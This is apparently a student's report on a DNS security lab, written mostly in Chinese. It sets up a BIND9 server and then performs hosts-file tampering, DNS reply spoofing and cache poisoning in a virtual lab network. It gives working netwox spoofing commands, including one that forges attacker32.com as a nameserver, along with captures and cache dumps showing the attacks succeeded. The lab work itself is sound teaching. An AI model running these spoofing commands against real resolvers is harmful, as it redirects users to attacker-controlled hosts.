report

Lab Tasks (Part I): Setting Up a Local DNS Server

2.1 Task1: Configure the User Machine

/etc/resolvconf 目录下是网络的一些配置文件，首先我们需要将我们自己搭建的 DNS 服务器设为我们实验的主机 DNS 服务器。在其里面加 nameserver 10.0.2.6 （自己搭建的 DNS 服务器），然后使用命令 sudo resolvconf -u (update)更新/etc/resolv.conf 的网络配置文件。使用 dig 命令发现所得 DNS 服务其来自于 10.0.2.6。

2.2 Task2: Setup a Local DNS Server

发现 seed 中 bind9 的配置文件已经满足或符合本次实验所需 DNS 服务器的配置，包括 dump 文件的文件名以及目录，还有默认的 DNS Security 已经关闭。

Step 1: Configure the BIND 9 server

Bind 目录下的 named.conf 是 BIND DNS Server 主要的配置文件，其中包含三个文件信息

include "/etc/bind/named.conf.options";

include "/etc/bind/named.conf.local";

include "/etc/bind/named.conf.default-zones";

第一个 options 包括我们在接下来关闭 DNS Security 的配置信息，还有缓存目录信息还有端口号信息以及一些防火墙信息。

Step 2: Turn off DNSSEC.

为了防止 DNS 的毒化攻击等一些安全问题，实际中使用的 DNS 服务器使用加密的报文，这里配置 dnssec-enable no;关闭其功能。

Step 3: Start DNS server.

配置完成后启动 DNS 服务:命令 sudo service bind9 restart

Step 4: Use the DNS server.

配置完成后，使用在主机 10.0.2.4 上（实验机）ping www.baidu.com，通过 wireshark 在实验主机和目标服务器主机抓取的包如下：

以及补充 task1 的 dig 命令 dig www.baidu.com 发现； SERVER 为 10.0.2.6（本次实验的 DNS 服务器 IP 地址）

```
[10/17/18]seed@VM:.../resolv.conf.d$ dig www.baidu.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.baidu.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39195
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 5, ADDITIONAL: 6

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.baidu.com.                 IN      A

;; ANSWER SECTION:
www.baidu.com.          1200    IN      CNAME   www.a.shifen.com.
www.a.shifen.com.       300     IN      A       119.75.213.61

;; AUTHORITY SECTION:
a.shifen.com.           1200    IN      NS      ns2.a.shifen.com.
a.shifen.com.           1200    IN      NS      ns5.a.shifen.com.
a.shifen.com.           1200    IN      NS      ns3.a.shifen.com.
a.shifen.com.           1200    IN      NS      ns1.a.shifen.com.
a.shifen.com.           1200    IN      NS      ns4.a.shifen.com.

;; ADDITIONAL SECTION:
ns1.a.shifen.com.       1200    IN      A       61.135.165.224
ns2.a.shifen.com.       1200    IN      A       220.181.57.142
ns3.a.shifen.com.       1200    IN      A       112.80.255.253
ns4.a.shifen.com.       1200    IN      A       14.215.177.229
ns5.a.shifen.com.       1200    IN      A       180.76.76.95

;; Query time: 2341 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
```

No.	Time	Source	Length	Destination	Protocol	Info
1	2018-10-…	10.0.2.4	73	10.0.2.6	DNS	Standard query 0xaacd A www.baidu.com
2	2018-10-…	10.0.2.6	286	10.0.2.4	DNS	Standard query response 0xaacd A www.baidu.com CNAME www.a.shifen.com A 119.75.213…
5	2018-10-…	10.0.2.4	86	10.0.2.6	DNS	Standard query 0xf4be PTR 61.213.75.119.in-addr.arpa
6	2018-10-…	10.0.2.6	97	220.181.16…	DNS	Standard query 0x8794 PTR 61.213.75.119.in-addr.arpa OPT
7	2018-10-…	220.181.166.1	149	10.0.2.6	DNS	Standard query response 0x8794 No such name PTR 61.213.75.119.in-addr.arpa SOA dns…
8	2018-10-…	10.0.2.6	86	10.0.2.4	DNS	Standard query response 0xf4be No such name PTR 61.213.75.119.in-addr.arpa
18	2018-10-…	10.0.2.4	73	10.0.2.6	DNS	Standard query 0x7375 A www.baidu.com
19	2018-10-…	10.0.2.6	286	10.0.2.4	DNS	Standard query response 0x7375 A www.baidu.com CNAME www.a.shifen.com A 119.75.213…
22	2018-10-…	10.0.2.4	86	10.0.2.6	DNS	Standard query 0xb621 PTR 61.213.75.119.in-addr.arpa
23	2018-10-…	10.0.2.6	97	220.181.16…	DNS	Standard query 0x6de4 PTR 61.213.75.119.in-addr.arpa OPT
24	2018-10-…	220.181.166.2	149	10.0.2.6	DNS	Standard query response 0x6de4 No such name PTR 61.213.75.119.in-addr.arpa SOA dns…
25	2018-10-…	10.0.2.6	86	10.0.2.4	DNS	Standard query response 0xb621 No such name PTR 61.213.75.119.in-addr.arpa

1	2018-10-…	10.0.2.4	73	10.0.2.6	DNS	Standard query 0x2383 A www.baidu.com
2	2018-10-…	10.0.2.6	84	192.112.36…	DNS	Standard query 0xc540 A www.baidu.com OPT
3	2018-10-…	10.0.2.6	70	192.112.36…	DNS	Standard query 0xf3f9 NS <Root> OPT
4	2018-10-…	10.0.2.6	89	192.112.36…	DNS	Standard query 0xc162 AAAA E.ROOT-SERVERS.NET OPT
5	2018-10-…	10.0.2.6	89	192.112.36…	DNS	Standard query 0x99ef AAAA G.ROOT-SERVERS.NET OPT
6	2018-10-…	192.112.36.4	84	10.0.2.6	DNS	Standard query response 0xc540 A www.baidu.com OPT
7	2018-10-…	192.112.36.4	165	10.0.2.6	DNS	Standard query response 0xc162 AAAA E.ROOT-SERVERS.NET SOA a.root-servers.net…
9	2018-10-…	192.112.36.4	165	10.0.2.6	DNS	Standard query response 0x99ef AAAA G.ROOT-SERVERS.NET SOA a.root-servers.net…
10	2018-10-…	192.112.36.4	70	10.0.2.6	DNS	Standard query response 0xf3f9 NS <Root> OPT
12	2018-10-…	10.0.2.6	70	198.97.190…	DNS	Standard query 0x14d7 NS <Root> OPT
14	2018-10-…	198.97.190.53	70	10.0.2.6	DNS	Standard query response 0x14d7 NS <Root> OPT
18	2018-10-…	10.0.2.6	84	198.97.190…	DNS	Standard query 0x9bd3 NS <Root> OPT
20	2018-10-…	10.0.2.6	84	202.12.27.…	DNS	Standard query 0x5f13 A www.baidu.com OPT
21	2018-10-…	202.12.27.33	84	10.0.2.6	DNS	Standard query response 0x5f13 A www.baidu.com OPT
23	2018-10-…	198.97.190.53	1153	10.0.2.6	DNS	Standard query response 0x9bd3 NS <Root> NS a.root-servers.net NS b.root-serv…
31	2018-10-…	10.0.2.4	73	61.129.42.6	DNS	Standard query 0xce7d A www.baidu.com

```
▸ Frame 1: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) on interface 0
▸ Ethernet II, Src: PcsCompu_85:78:69 (08:00:27:85:78:69), Dst: PcsCompu_0a:43:a6 (08:00:27:0a:43:a6)
```

75	2018-10-…	10.0.2.4	84	10.0.2.6	DNS	Standard query 0x991b A www.baidu.com OPT
76	2018-10-…	10.0.2.6	84	192.31.80.…	DNS	Standard query 0xc286 A www.baidu.com OPT
79	2018-10-…	192.31.80.30	544	10.0.2.6	DNS	Standard query response 0xc286 A www.baidu.com NS dns.baidu.com NS ns2.baidu.com …
89	2018-10-…	10.0.2.6	98	192.31.80.…	DNS	Standard query 0xa486 A www.baidu.com OPT
101	2018-10-…	192.31.80.30	753	10.0.2.6	DNS	Standard query response 0xa486 A www.baidu.com NS dns.baidu.com NS ns2.baidu.com …
103	2018-10-…	10.0.2.6	84	220.181.37…	DNS	Standard query 0x3f79 A www.baidu.com OPT
108	2018-10-…	220.181.37.10	281	10.0.2.6	DNS	Standard query response 0x3f79 A www.baidu.com CNAME www.a.shifen.com NS ns3.a.sh…
109	2018-10-…	10.0.2.6	87	192.55.83.…	DNS	Standard query 0x757a A www.a.shifen.com OPT
142	2018-10-…	192.55.83.30	551	10.0.2.6	DNS	Standard query response 0x757a A www.a.shifen.com NS dns.baidu.com NS ns2.baidu.c…
174	2018-10-…	10.0.2.6	87	192.43.172…	DNS	Standard query 0x7375 A www.a.shifen.com OPT
212	2018-10-…	192.43.172.30	551	10.0.2.6	DNS	Standard query response 0x7375 A www.a.shifen.com NS dns.baidu.com NS ns2.baidu.c…
261	2018-10-…	10.0.2.4	84	10.0.2.6	DNS	Standard query 0x991b A www.baidu.com OPT
265	2018-10-…	10.0.2.6	87	192.12.94.…	DNS	Standard query 0xecd6 A www.a.shifen.com OPT
266	2018-10-…	192.12.94.30	551	10.0.2.6	DNS	Standard query response 0xecd6 A www.a.shifen.com NS dns.baidu.com NS ns2.baidu.c…
274	2018-10-…	10.0.2.6	101	192.12.94.…	DNS	Standard query 0x913d A www.a.shifen.com OPT
278	2018-10-…	192.12.94.30	728	10.0.2.6	DNS	Standard query response 0x913d A www.a.shifen.com NS dns.baidu.com NS ns2.baidu.c…
280	2018-10-…	10.0.2.6	87	61.135.165…	DNS	Standard query 0x32b8 A www.a.shifen.com OPT
283	2018-10-…	61.135.165.2…	257	10.0.2.6	DNS	Standard query response 0x32b8 A www.a.shifen.com NS ns5.a.shifen.com NS ns3.a.sh…

2.3 Task3: Host a Zone in the Local DNS Server

Step 1: Create zones

Zone 是权威域名服务器的域名信息文件，在 bind9 文件格式中，一般 zone 在 named.conf.local 中，在其中加入以下两条。

zone "example.com" { type master; file "/etc/bind/example.com.db"; };

zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/192.168.0.db"; };

Step 2: Setup the forward lookup zone file.

根据上一条配置的文件名及路径，创建对应的文件及内容，相关文件信息意见给出。

理解其中的一些符号:

TTL	time to live 生存时间，默认为秒
@	表示相应的域名，表示一个域名定义的开始这里代表 www.example.com
IN	表示后面的数据使用的是 INTERNET 标准
SOA	表示授权开始
ns.example.com.	该域的主域名服务器
admin.example.com.	管理员邮件地址（这里的邮件地址中的用.来代替常见的邮件地址的@.）
1	一般 serial 表示配置文件的修改版本，格式是年月日当日修改的次数，每次修改时都应该修改这个数字，要不然所做修改的不会更新到网上的其它 DNS 服务器的数据库上，但在这里只是简单写成 1
8H	refresh，定义以单位（M 分，H 时，W 周，默认是秒即不带单位）的刷新频率，即规定从域名服务器多长时间查询一个主服务器，以服务器的数据的是最新的

2H	retry，以 2 小时的时间间隔重试，即当从服务器试图在主服务器上查询更新时而连接失败了，则这个值规定了从服务器多长时间后重试
4W	expire，规定从服务器在向主服务器更新失败之后清除记录的时间
1D	minimum TTL，规定缓冲服务器不能与主服务器联系上的清除记录时间
NS	net server，表示该主机是域名服务器
A	address，定义了一条 A 记录，表示该主机名到 IP 地址的对应记录
MX	mail exchange，定义一条邮件记录

Step 3: Set up the reverse lookup zone file

跟 step 2 类似，其中 PTR 表示一条反向域名解析记录。

Step 4: Restart the BIND server and test

配置后重启 bind9 后，执行命令 dig mail.example.com，（www 类似）结果如下图：

其中向服务器询问 mail.example.com 的 IP 地址，服务回答 mail 的 IP 地址，并将他域名服务器名称也告诉，然后附加 NS 的 ip 地址，组成整个回复报文。其中包括 TTL

```
[10/24/18]seed@VM:~$ dig mail.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47515
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       192.168.0.102

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         259200  IN      A       192.168.0.10

;; Query time: 2 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Wed Oct 24 22:00:37 EDT 2018
;; MSG SIZE  rcvd: 94
```

3 Lab Tasks (Part II): Attacks on DNS

3.1 Task4: Modifying the Host File

在这里我将 202.120.224.114 www.bank32.com 加入到 hosts 中，通过 ping www.bank32.com 得到如下结果，说明伪造成功。而 202.120.224.114 是 www.cs.fudan.edu.cn 的 IP 地址。而真实的 www.bank32.com 的 IP 地址是 184.168.221.36，如下图。

```
[10/24/18]seed@VM:/etc$ ping www.bank32.com
PING www.bank32.com (202.120.224.114) 56(84) bytes of data.
64 bytes from www.bank32.com (202.120.224.114): icmp_seq=1 ttl=58 time=48.9 ms
64 bytes from www.bank32.com (202.120.224.114): icmp_seq=2 ttl=58 time=5.25 ms
64 bytes from www.bank32.com (202.120.224.114): icmp_seq=3 ttl=58 time=5.77 ms
^C
--- www.bank32.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 5.251/19.992/48.948/20.476 ms
```

```
[10/24/18]seed@VM:~$ ping -c 4 www.cs.fudan.edu.cn
PING www.cs.fudan.edu.cn (202.120.224.114) 56(84) bytes of data.
64 bytes from 224.fudan.edu.cn (202.120.224.114): icmp_seq=1 ttl=58 time=15.6 ms
64 bytes from 224.fudan.edu.cn (202.120.224.114): icmp_seq=2 ttl=58 time=21.9 ms
64 bytes from 224.fudan.edu.cn (202.120.224.114): icmp_seq=3 ttl=58 time=44.1 ms
64 bytes from 224.fudan.edu.cn (202.120.224.114): icmp_seq=4 ttl=58 time=3.85 ms
```

```
10/24/18]seed@VM:~$ ping -c 4  www.bank32.com
ING bank32.com (184.168.221.36) 56(84) bytes of data.
4 bytes from ip-184-168-221-36.ip.secureserver.net (184.168.221.36): icmp_seq=1
ttl=40 time=237 ms
4 bytes from ip-184-168-221-36.ip.secureserver.net (184.168.221.36): icmp_seq=2
ttl=40 time=253 ms
4 bytes from ip-184-168-221-36.ip.secureserver.net (184.168.221.36): icmp_seq=3
ttl=40 time=281 ms
4 bytes from ip-184-168-221-36.ip.secureserver.net (184.168.221.36): icmp_seq=4
ttl=40 time=272 ms
```

3.2 Task5: Directly Spoofing Response to User

攻击之前使用 dig www.example.net 得到如下结果，显示其 ip 地址为 93.184.216.34

```
10/24/18]seed@VM:/etc$ dig www.example.net

 <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
; global options: +cmd
; Got answer:
; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15724
; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 5

; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
; QUESTION SECTION:
www.example.net.                IN      A

; ANSWER SECTION:
ww.example.NET.         86352   IN      A       93.184.216.34

; AUTHORITY SECTION:
xample.NET.             172751  IN      NS      b.iana-servers.net.
xample.NET.             172751  IN      NS      a.iana-servers.net.

; ADDITIONAL SECTION:
.iana-servers.NET.      1752    IN      A       199.43.135.53
.iana-servers.NET.      1751    IN      AAAA    2001:500:8f::53
.iana-servers.NET.      1751    IN      A       199.43.133.53
.iana-servers.NET.      1752    IN      AAAA    2001:500:8d::53

; Query time: 5 msec
; SERVER: 10.0.2.6#53(10.0.2.6)
; WHEN: Wed Oct 24 22:51:55 EDT 2018
; MSG SIZE  rcvd: 225
```

使用 netwag 工具进行攻击，或者 netwox 命令：

Sudo netwox 105 --hostname “www.example.net” --hostnameip 10.0.2.5 --authns “ns.example.net” –authnsip 10.0.2.5 –device “Eth0” –ttl 10 –filter “src host 10.0.2.4”

此时得到如下结果，显示我们我们已经攻击成功，成功将 www.example.net 的 IP 地址欺骗为 10.0.2.5

```
[10/24/18]seed@VM:/etc$ dig www.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54984
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        10      IN      A       10.0.2.5

;; AUTHORITY SECTION:
ns.example.net.         10      IN      NS      ns.example.net.

;; ADDITIONAL SECTION:
ns.example.net.         10      IN      A       10.0.2.5

;; Query time: 46 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Wed Oct 24 22:53:35 EDT 2018
;; MSG SIZE  rcvd: 88
```

使用 netwag 的发送报文记录如下。

```
Copy command | Interrupt | Continue | scroll | crush
Command 105 --hostname "www.example.net" --hostnameip 10.0.2... :
DNS_question_____________________________________________________.
| id=54984  rcode=OK        opcode=QUERY          |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=1     |
| www.example.net. A                              |
| . OPT UDPpl=4096 errcode=0 v=0 ...                |
|__________________________________________________________|
DNS_answer_______________________________________________________.
| id=54984  rcode=OK        opcode=QUERY          |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1     |
| www.example.net. A                              |
| www.example.net. A 10 10.0.2.5                    |
| ns.example.net. NS 10 ns.example.net.               |
| ns.example.net. A 10 10.0.2.5                     |
|__________________________________________________________|
```

3.3 Task6: DNS Cache Poisoning Attack

同上，使用 netwag 或 netwox 命令，对 www.bank32.com 进行攻击（其 IP 为; 184.168.221.51）

Netwox 命令：

Sudo netwox 105 –hostname “www.bank32.com” --hostnameip 10.0.2.5 –authns “ns.bank32.com” –authnsip 10.0.2.5 –device “Eth0” –ttl 300 –filter “src host 10.0.2.6” –spoofip “raw”

得到结果如下：

```
[10/25/18]seed@VM:~$ dig www.bank32.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.bank32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12940
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.bank32.com.                        IN      A

;; ANSWER SECTION:
www.bank32.com.         300     IN      A       10.0.2.5

;; Query time: 46 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Thu Oct 25 06:29:39 EDT 2018
;; MSG SIZE  rcvd: 59
```

下图显示当 DNS 服务器询问时，如下第 8 条记录为我们伪造的报文，及时回复给 10.0.2.6(DNS 服务器)，通过点击观察后面来的正确报文，显示已失效。

No.	Time	Source	Length	Destination	Protocol	Info
1	2018-10-…	10.0.2.4	85	10.0.2.6	DNS	Standard query 0x328c A www.bank32.com OPT
2	2018-10-…	10.0.2.6	85	192.36.148…	DNS	Standard query 0x0f1c A www.bank32.com OPT
3	2018-10-…	10.0.2.6	70	192.36.148…	DNS	Standard query 0x58b8 NS <Root> OPT
4	2018-10-…	10.0.2.6	89	192.36.148…	DNS	Standard query 0x4697 AAAA E.ROOT-SERVERS.NET OPT
5	2018-10-…	10.0.2.6	89	192.36.148…	DNS	Standard query 0x77c8 AAAA G.ROOT-SERVERS.NET OPT
8	2018-10-…	192.36.148.17	129	10.0.2.6	DNS	Standard query response 0x0f1c A www.bank32.com A 10.0.2.5 NS ns.bank32.com A 10.0…
9	2018-10-…	192.36.148.17	101	10.0.2.6	DNS	Standard query response 0x58b8 NS <Root> NS ns.bank32.com A 10.0.2.5
10	2018-10-…	10.0.2.6	101	10.0.2.4	DNS	Standard query response 0x328c A www.bank32.com A 10.0.2.5 OPT
11	2018-10-…	192.36.148.17	165	10.0.2.6	DNS	Standard query response 0x4697 AAAA E.ROOT-SERVERS.NET SOA a.root-servers.net OPT
12	2018-10-…	192.36.148.17	165	10.0.2.6	DNS	Standard query response 0x77c8 AAAA G.ROOT-SERVERS.NET SOA a.root-servers.net OPT
27	2018-10-…	10.0.2.4	85	10.0.2.6	DNS	Standard query 0x4671 A www.bank32.com OPT
28	2018-10-…	10.0.2.6	133	10.0.2.4	DNS	Standard query response 0x4671 A www.bank32.com A 10.0.2.5 NS ns.bank32.com A 10.0…

使用 netwag 的发送报文记录：

```
DNS_answer
| id=22712  rcode=OK        opcode=QUERY
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=0  add=1
| . NS
| . NS 300 ns.bank32.com.
| ns.bank32.com. A 300 10.0.2.5
DNS_question
| id=18071  rcode=OK        opcode=QUERY
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1
| E.ROOT-SERVERS.NET. AAAA
| . OPT UDPpl=512 errcode=0 v=0 ...
DNS_question
| id=30664  rcode=OK        opcode=QUERY
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1
| G.ROOT-SERVERS.NET. AAAA
| . OPT UDPpl=512 errcode=0 v=0 ...
DNS_answer
| id=12940  rcode=OK        opcode=QUERY
| aa=0 tr=0 rd=1 ra=1  quest=1  answer=1  auth=0  add=1
| www.bank32.com. A
| www.bank32.com. A 300 10.0.2.5
| . OPT UDPpl=4096 errcode=0 v=0 ...
```

在域名服务器 10.0.2.6 中使用 dump 得到 dns 的缓存，发现伪造的报文信息已在缓存中。如下图：

```
 Start view _default


 Cache dump of view '_default' (cache _default)

;DATE 20181025103104
 authanswer
                        215     IN NS   ns.bank32.com.
 authauthority
ns.bank32.com.          215     NS      ns.bank32.com.
 additional
                        215     A       10.0.2.5
 authanswer
www.bank32.com.         215     A       10.0.2.5
 answer
E.ROOT-SERVERS.NET.     10715   \-AAAA  ;-$NXRRSET
 root-servers.net. SOA a.root-servers.net. nstld.verisign-grs.com. 2016032300 14400 7200 1209600 3600000
 answer
G.ROOT-SERVERS.NET.     10715   \-AAAA  ;-$NXRRSET
 root-servers.net. SOA a.root-servers.net. nstld.verisign-grs.com. 2016032300 14400 7200 1209600 3600000

 Address database dump

 [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
 [plain success/timeout]

 E.ROOT-SERVERS.NET [v6 TTL 10715] [v4 unexpected] [v6 nxrrset]
 G.ROOT-SERVERS.NET [v6 TTL 10715] [v4 unexpected] [v6 nxrrset]
```

3.4 Task7: DNS Cache Poisoning: Targeting the Authority Section

命令：

Sudo netwox 105 --hostname “www.example.net” --hostnameip 10.0.2.5 --authns “attacker32.com” –authnsip 10.0.2.5 –device “Eth0” –ttl 600 –filter “src host 10.0.2.6” –spoofip “raw”

发送报文记录:

```
DNS_question_____________________________________________________.
| id=62429  rcode=OK          opcode=QUERY            |
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1      |
| www.example.net. A                          |
| . OPT UDPpl=512 errcode=0 v=0 ...                   |
|_____________________________________________________|
DNS_answer_______________________________________________________.
| id=62429  rcode=OK          opcode=QUERY            |
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=1  add=1      |
| www.example.net. A                          |
| www.example.net. A 600 10.0.2.5                     |
| attacker32.com. NS 600 attacker32.com.                |
| attacker32.com. A 600 10.0.2.5                      |
|_____________________________________________________|
DNS_question_____________________________________________________.
| id=29030  rcode=OK          opcode=QUERY            |
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=1      |
| . NS                                        |
| . OPT UDPpl=512 errcode=0 v=0 ...                   |
|_____________________________________________________|
```

攻击后得到的缓存结果:

```
[10/25/18]seed@VM:~$ sudo cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
$DATE 20181025104814
; authanswer
.                       572     IN NS   attacker32.com.
; authauthority
attacker32.com.         571     NS      attacker32.com.
; additional
                        571     A       10.0.2.5
; authanswer
www.example.net.        571     A       10.0.2.5
; answer
E.ROOT-SERVERS.net.     10772   \-AAAA  ;-$NXRRSET
```

No.	Time	Source	Destination	Protocol	Length	Info
1	2018-10-25 06:54:26…	10.0.2.4	10.0.2.6	DNS	87	Standard query 0x37b9 A mail.example.net OPT
2	2018-10-25 06:54:26…	10.0.2.6	192.112.36.4	DNS	85	Standard query 0x295a A attacker32.com OPT
3	2018-10-25 06:54:26…	10.0.2.6	192.112.36.4	DNS	85	Standard query 0x63d7 AAAA attacker32.com OPT
4	2018-10-25 06:54:26…	192.112.36.4	10.0.2.6	DNS	85	Standard query response 0x63d7 AAAA attacker32.com OPT
5	2018-10-25 06:54:26…	10.0.2.6	192.112.36.4	TCP	74	50275 → 53 [SYN] Seq=1473409023 Win=29200 Len=0 MSS=1460 SACK_…
6	2018-10-25 06:54:27…	10.0.2.6	192.112.36.4	TCP	74	[TCP Retransmission] 50275 → 53 [SYN] Seq=1473409023 Win=29200…
7	2018-10-25 06:54:28…	10.0.2.6	192.33.4.12	DNS	85	Standard query 0x40b5 A attacker32.com OPT
8	2018-10-25 06:54:28…	10.0.2.6	192.33.4.12	DNS	85	Standard query 0x0278 AAAA attacker32.com OPT
9	2018-10-25 06:54:28…	192.33.4.12	10.0.2.6	DNS	85	Standard query response 0x0278 AAAA attacker32.com OPT
10	2018-10-25 06:54:28…	192.33.4.12	10.0.2.6	DNS	85	Standard query response 0x40b5 A attacker32.com OPT
11	2018-10-25 06:54:28…	10.0.2.6	192.33.4.12	TCP	74	46787 → 53 [SYN] Seq=1926150829 Win=29200 Len=0 MSS=1460 SACK_…
12	2018-10-25 06:54:28…	10.0.2.6	192.33.4.12	TCP	74	56001 → 53 [SYN] Seq=744333515 Win=29200 Len=0 MSS=1460 SACK_P…

3.5 Task8: Targeting Another Domain

通过代码编写，抓取包如下：虽然我们发送 google.com 成功，但是没有被缓存到。

1	2018-10-…	10.0.2.4	86	10.0.2.6	DNS	Standard query 0x96b5 A www.example.net OPT
2	2018-10-…	10.0.2.6	86	199.7.83.42	DNS	Standard query 0xf3dd A www.example.net OPT
3	2018-10-…	10.0.2.6	70	199.7.83.42	DNS	Standard query 0x7166 NS <Root> OPT
4	2018-10-…	199.7.83.42	70	10.0.2.6	DNS	Standard query response 0x7166 NS <Root> OPT
5	2018-10-…	10.0.2.6	74	199.7.83.42	TCP	51611 → 53 [SYN] Seq=3731881906 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval…
6	2018-10-…	199.7.83.42	149	10.0.2.6	DNS	Standard query response 0xf3dd A www.example.net A 10.0.2.5 NS attacker32.…
7	2018-10-…	10.0.2.6	102	10.0.2.4	DNS	Standard query response 0x96b5 A www.example.net A 10.0.2.5 OPT
8	2018-10-…	199.7.83.42	102	10.0.2.6	DNS	Standard query response 0x7166 NS <Root> NS attacker32.com A 10.0.2.5
9	2018-10-…	10.0.2.6	70	192.203.230.10	DNS	Standard query 0xf1e1 NS <Root> OPT
10	2018-10-…	10.0.2.6	89	192.203.230.10	DNS	Standard query 0xbaea AAAA E.ROOT-SERVERS.NET OPT
11	2018-10-…	10.0.2.6	89	192.203.230.10	DNS	Standard query 0x0582 AAAA G.ROOT-SERVERS.NET OPT
12	2018-10-…	192.203.230.…	102	10.0.2.6	DNS	Standard query response 0xf1e1 NS <Root> NS attacker32.com A 10.0.2.5
13	2018-10-…	192.203.230.…	70	10.0.2.6	DNS	Standard query response 0xf1e1 NS <Root> OPT
14	2018-10-…	192.203.230.…	165	10.0.2.6	DNS	Standard query response 0x0582 AAAA G.ROOT-SERVERS.NET SOA a.root-servers.…
15	2018-10-…	10.0.2.6	89	192.228.79.201	DNS	Standard query 0x62dd AAAA E.ROOT-SERVERS.NET OPT
16	2018-10-…	192.228.79.2…	165	10.0.2.6	DNS	Standard query response 0x62dd AAAA E.ROOT-SERVERS.NET SOA a.root-servers.…

3.6 Task9: Targeting the Additional Section

结果如下图所示：

```
[10/31/18]seed@VM:~$ dig www.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40702
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        600     IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.NET.            600     IN      NS      attacker32.com.

;; ADDITIONAL SECTION:
attacker32.com.         600     IN      A       1.2.3.4

;; Query time: 1738 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Wed Oct 31 08:55:25 EDT 2018
;; MSG SIZE  rcvd: 115
```

缓存结果如图所示，发现其他的没有缓存到，是由于其他的与所问域名无直接或间接的联系，问的 www.example.net，而 attacker32.com 时他的 ns，所以缓存了 attacker32.com , 只保留了第一个 ns，其他的没有保留。

```
[10/31/18]seed@VM:.../bind$ sudo cat dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
$DATE 20181031132825
; additional
attacker32.com.         259098  IN A    1.2.3.4
; authauthority
google.com.             259098  NS      attacker32.com.
; authanswer
www.example.net.        259098  A       10.0.2.5
; answer
E.ROOT-SERVERS.net.     10698   \-AAAA  ;-$NXRRSET
; root-servers.net. SOA a.root-servers.net. nstld.verisign-grs.com. 2016032300 14400 7200 1209600 3600000
; answer
```